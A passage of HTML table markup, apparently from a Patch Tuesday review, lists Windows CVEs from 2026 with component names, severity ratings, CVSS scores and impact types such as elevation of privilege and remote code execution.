  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50331"><span>CVE-2026-50331</span></a></td>
  <td width="256" class="xl74">Windows Application
  Model Core API Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49803"><span>CVE-2026-49803</span></a></td>
  <td width="256" class="xl74">Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50351"><span>CVE-2026-50351</span></a></td>
  <td width="256" class="xl74">Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50440"><span>CVE-2026-50440</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34328"><span>CVE-2026-34328</span></a></td>
  <td width="256" class="xl74">Windows Audio Service
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50406"><span>CVE-2026-50406</span></a></td>
  <td width="256" class="xl74">Windows Backup Engine
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50364"><span>CVE-2026-50364</span></a></td>
  <td width="256" class="xl74">Windows Backup Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42975"><span>CVE-2026-42975</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth Port
  Driver Remote Code Execution</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58538"><span>CVE-2026-58538</span></a></td>
  <td width="256" class="xl74">Windows Bluetooth
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58638"><span>CVE-2026-58638</span></a></td>
  <td width="256" class="xl74">Windows Boot Loader
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58637"><span>CVE-2026-58637</span></a></td>
  <td width="256" class="xl74">Windows Client-Side
  Caching Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50384"><span>CVE-2026-50384</span></a></td>
  <td width="256" class="xl74">Windows Clip Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49183"><span>CVE-2026-49183</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50689"><span>CVE-2026-50689</span></a></td>
  <td width="256" class="xl74">Windows Clipboard
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50374"><span>CVE-2026-50374</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58536"><span>CVE-2026-58536</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58613"><span>CVE-2026-58613</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50401"><span>CVE-2026-50401</span></a></td>
  <td width="256" class="xl74">Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50697"><span>CVE-2026-50697</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50667"><span>CVE-2026-50667</span></a></td>
  <td width="256" class="xl74">Windows Common Log
  File System Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50421"><span>CVE-2026-50421</span></a></td>
  <td width="256" class="xl74">Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50428"><span>CVE-2026-50428</span></a></td>
  <td width="256" class="xl74">Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50352"><span>CVE-2026-50352</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50302"><span>CVE-2026-50302</span></a></td>
  <td width="256" class="xl74">Windows Cryptographic
  Services Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55144"><span>CVE-2026-55144</span></a></td>
  <td width="256" class="xl74">Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50347"><span>CVE-2026-50347</span></a></td>
  <td width="256" class="xl74">Windows Data.dll
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49181"><span>CVE-2026-49181</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50683"><span>CVE-2026-50683</span></a></td>
  <td width="256" class="xl74">Windows DHCP Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58627"><span>CVE-2026-58627</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50685"><span>CVE-2026-50685</span></a></td>
  <td width="256" class="xl74">Windows DHCP Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49807"><span>CVE-2026-49807</span></a></td>
  <td width="256" class="xl74">Windows DirectX
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49175"><span>CVE-2026-49175</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50487"><span>CVE-2026-50487</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50465"><span>CVE-2026-50465</span></a></td>
  <td width="256" class="xl74">Windows DNS Client
  Tampering Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49169"><span>CVE-2026-49169</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50426"><span>CVE-2026-50426</span></a></td>
  <td width="256" class="xl74">Windows DNS Server
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50424"><span>CVE-2026-50424</span></a></td>
  <td width="256" class="xl74">Windows Domain
  Controller Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50300"><span>CVE-2026-50300</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50437"><span>CVE-2026-50437</span></a></td>
  <td width="256" class="xl74">Windows DWM Core
  Library Information Disclosure<span> 
  </span>Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34348"><span>CVE-2026-34348</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50502"><span>CVE-2026-50502</span></a></td>
  <td width="256" class="xl74">Windows Event Logging
  Service Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33842"><span>CVE-2026-33842</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40422"><span>CVE-2026-40422</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41087"><span>CVE-2026-41087</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
